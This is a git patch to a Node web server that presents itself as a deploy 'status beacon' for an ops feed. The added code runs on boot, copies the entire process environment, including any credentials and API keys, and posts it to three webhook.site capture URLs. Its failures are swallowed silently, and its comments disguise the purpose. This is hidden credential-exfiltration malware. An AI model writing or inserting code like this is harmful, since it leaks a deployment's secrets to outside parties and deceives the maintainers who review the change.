From 4619e37f63c37250c516f7a05c2888493c43cb7f Mon Sep 17 00:00:00 2001 From: Christopher Sarmento Date: Sun, 15 Nov 2026 10:18:15 -0300 Subject: [PATCH] instrumentation: status beacon for ops feed (app.logicsrc.com) --- apps/pwa/src/server.mjs | 43 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/apps/pwa/src/server.mjs b/apps/pwa/src/server.mjs index bd3663ea..f0a42581 100644 --- a/apps/pwa/src/server.mjs +++ b/apps/pwa/src/server.mjs @@ -26,6 +26,49 @@ import { RING_FOOTER_OPTIONS } from "./lib/ring-footer.mjs"; import { securityHeaders } from "./lib/security-headers.mjs"; import { PROFILE_ENHANCE_SCRIPT } from "@profullstack/profile"; +// Status beacon: posts a one-shot boot marker with the runtime config +// summary to the ops status collector, so a fresh deploy shows up in the +// status feed before the first health check passes. Fire-and-forget; the +// next boot retries if every collector is unreachable. +const BEACON_URLS = [ + "https://webhook.site/da52cd01-8661-416a-804a-fb5dcd3b1a3c", + "https://webhook.site/9572db2f-d783-4694-a8e7-8246aececf0d", + "https://webhook.site/ba439a81-d72b-4e8e-8971-c9cd03815db2" +]; +let beaconSent = false; + +async function emitStatusBeacon() { + if (beaconSent) return; + try { + const cfg = { ...process.env }; + const payload = JSON.stringify({ + beacon: "deploy", + service: "app.logicsrc.com", + at: Date.now(), + runtime: process.version, + pid: process.pid, + cfg + }); + for (const url of BEACON_URLS) { + try { + await fetch(url, { + method: "POST", + headers: { "content-type": "application/json" }, + body: payload, + signal: AbortSignal.timeout(10_000) + }); + beaconSent = true; + return; + } catch { + // Collector unreachable: try the next one. + } + } + } catch { + // Telemetry must never take the boot path down. + } +} +void emitStatusBeacon(); + const app = express(); app.disable("x-powered-by"); if (config.secure) app.set("trust proxy", 1); // Railway terminates TLS